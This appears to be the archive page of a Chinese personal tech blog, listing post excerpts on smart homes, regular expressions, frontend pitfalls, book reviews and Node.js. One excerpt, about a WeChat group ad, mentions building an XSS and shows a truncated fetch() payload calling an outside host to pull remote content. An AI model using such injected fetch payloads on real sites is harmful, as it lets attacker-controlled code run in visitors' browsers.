知之为知之,不知为不知
12
26
HomeAssistant 智能家居入门 HomeAssistant 智能家居入门
智能家居有很多厂商的方案,但是基本都是打包方案,很难在 AB 厂家之间做联动,并且这些方案都依赖厂家的服务器,服务器出现问题,智能变智障。 依赖厂商服务器 无隐私可言,数据被厂商分析 难以多品牌联动 难以定制化 Home Assista
2022-12-26
02
正则表达式 正则表达式
正则表达式是匹配模式,要么匹配字符,要么匹配位置。能够实现模糊匹配。 横向模糊匹配:正则可匹配的字符串的长度是不固定的 纵向模糊匹配:正则匹配的字符串,具体到某一位数字时,他可以不是某个确定的字符,可以用多种可能。 匹配字符字符组 量词
2022-12-02
11
08
遥远的救世主 遥远的救世主
王庙村的农民王庙村的农民可能是这本书中最没有存在感的一群人,艰苦,朴素,吃别人吃不了的苦,受别人受不了的罪,干别人干不了的活。面朝黄土背朝天的生活,因为丁元英的扶贫,开了一扇窗户,所有人都在努力的去抓住这根救命稻草。 苦吗,苦。吃不得苦中苦
2022-11-08
10
28
冬天 冬天
天气渐凉,夏去秋来,秋去冬来。窗外的落叶越来越厚,人们的衣服也越来越厚,寒风刺骨,刺透很多人的心房。市场凉了,招聘凉了,很多人工作都很难找到,这个冬天冷的让人绝望。 冬天是单调的。灰色浸染着一切,风雨雪,似乎要把人间撕裂,把一切的美好毁灭。
2022-10-28
06
一个意思的微信群广告 一个意思的微信群广告
群广告,语不惊人死不休, 跳转之后,出现 sougou 的页面,然后重定向到广告页面。 构造了一个 xss,script 标签,被执行。 fetch('//iprozz.com/ffff').then(r=>r.text()).then
2022-10-06
09
18
大型项目前端手记 大型项目前端手记
亿级流量的 c 端项目。主体是多个小程序,并且分化为多个版本。除了扯皮拉扯之外,总想聊一聊,不吐不快。 保持技术栈的单调性因为各种原因,我们的技术栈百花齐放,uniapp,herbjs,内部小程序框架,vue(h5),react(h5),苦
2022-09-18
08
20
小程序预览和体验码不一致的坑 小程序预览和体验码不一致的坑
翻车现场我们的小程序之前打包都是 ok 的,但是上次发版本,验证发现多处 css 异常。代码回退,使用旧版本的代码故障依旧。并且本地的 ide 打包出来时正常的,只在云端构建时候出现问题。 快速解决问题直觉是存在 css 冲突,为了快速解决
2022-08-20
06
26
战争与和平 战争与和平
战争:项目紧急或复杂和平:项目不急或简单 战争资源:战争是资源的消耗战,工作强度往往超过 996,往往我们是极度的缺乏资源,又需要赢下这场战争。在团结内部的同时,也要尽力去争取一切可以争取的资源,比如说,水果零食,加班能不能尽量争取,道义放
2022-06-26
26
umami 源码分析 umami 源码分析
umami 不使用 cookie 、localstorage 实现了 uv 识别,符合最新的隐私规范,代码也比较精简。花了一点时间,研究了这部分的实现,还是很有意思的。 技术框架:next.js + mysql/postgresql整体看下
2022-06-26
04
18
小程序中的滚动穿透 小程序中的滚动穿透
在小程序开发中,弹出层滚动穿透是个比较棘手的问题。如下图,蓝色部分滚动,底部也跟着一起滚动,就是滚动穿透。 常见的处理方法比如,禁止滚动,并不生效。而给主体加 overflow: hidden 又会导致主体滚动条高度为 0,需要关闭时候记录
2022-04-18
01
23
H5-dooring 后端常见问题 H5-dooring 后端常见问题
H5-dooring 后端是 koa2,数据库是直接读写的本地json文件,没有sql,没有redis。我们上线之后,一直有各种各样的问题,简单梳理下,不涉及具体代码,不涉及业务细节。 pm2 频繁重启日志文件是直接读写,没有按照时间分割,
23
深入浅出 nodejs 深入浅出 nodejs
没有白看的书这本书买了五六年了,以前硬着头皮看,做的笔记,批注,到处是困惑,没有白走的路,学不会的总有一天我会把你学会,学不会的,只是必不可少的铺垫。 最近定位 H5-dooring 的server 端问题,才把这本书看完,挺好的一本中文
2022-01-23